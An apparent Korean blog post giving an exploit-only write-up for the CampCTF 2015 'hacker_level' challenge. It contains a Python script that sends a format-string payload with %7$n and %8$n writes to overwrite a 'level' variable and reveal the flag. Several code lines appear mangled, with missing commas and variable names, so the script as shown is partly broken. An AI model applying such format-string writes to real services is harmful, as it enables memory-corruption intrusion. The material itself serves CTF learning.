티스토리 뷰

Pwnable/CTF

CampCTF 2015 hacker_level exponly

err0rless313 2015. 8. 25. 22:56
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from socket import *
from telnetlib import *
import struct
 
SERVER = ("challs.campctf.ccc.ac"10118)
 
= socket(AF_INET, SOCK_STREAM)
s.connect(SERVER)
= Telnet()
t.sock = s
 
print t.read_until("name?")
 
fmt  = struct.pack("<I"0x0804A04C)        # &level
fmt += struct.pack("<I"0x0804A04C + 2)    # &level + 2
fmt += "%" + str(0x1337 - 8+ "c%7$n"      # 7th argument ; &level
fmt += "%" + str(0xccc3 - 0x1337+ "c%8$n" # 8th argument ; &level + 2
# 1111AAAA 40 b76e5600 bfe57228 bfe57270 b770f570 bfe57220 31313131 41414141
 
s.send(fmt + "\n")
 
for i in range(60):
    print s.recv(1024)
cs


그냥 printf(name); 이런식으로 해서 fsb일어남

level을 0xccc31337과 비교하는 문장이 있고 같으면 플래그 출력

(알고리즘상 기본적으로는 절대 0xccc31337이 될 수 없음)


%7$n, %8$n처럼 쓰이는거 보고 그렇게 풀어봄 너무너무 편함. 자주 사용해야 겠음



hacker_level.c


hacker_level


'Pwnable > CTF' 카테고리의 다른 글

Codegate 2015 Bookstore  (0) 2015.09.14
Layer7 CTF 2015 IhaveLongDariYouHaveShotDari  (0) 2015.08.30
Inc0gnito 2015 anti-hexray exponly  (0) 2015.08.25
0CTF 2015 [FlagGenerator]  (2) 2015.04.16
Plaid CTF 2014 [Kappa]  (2) 2015.04.06
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함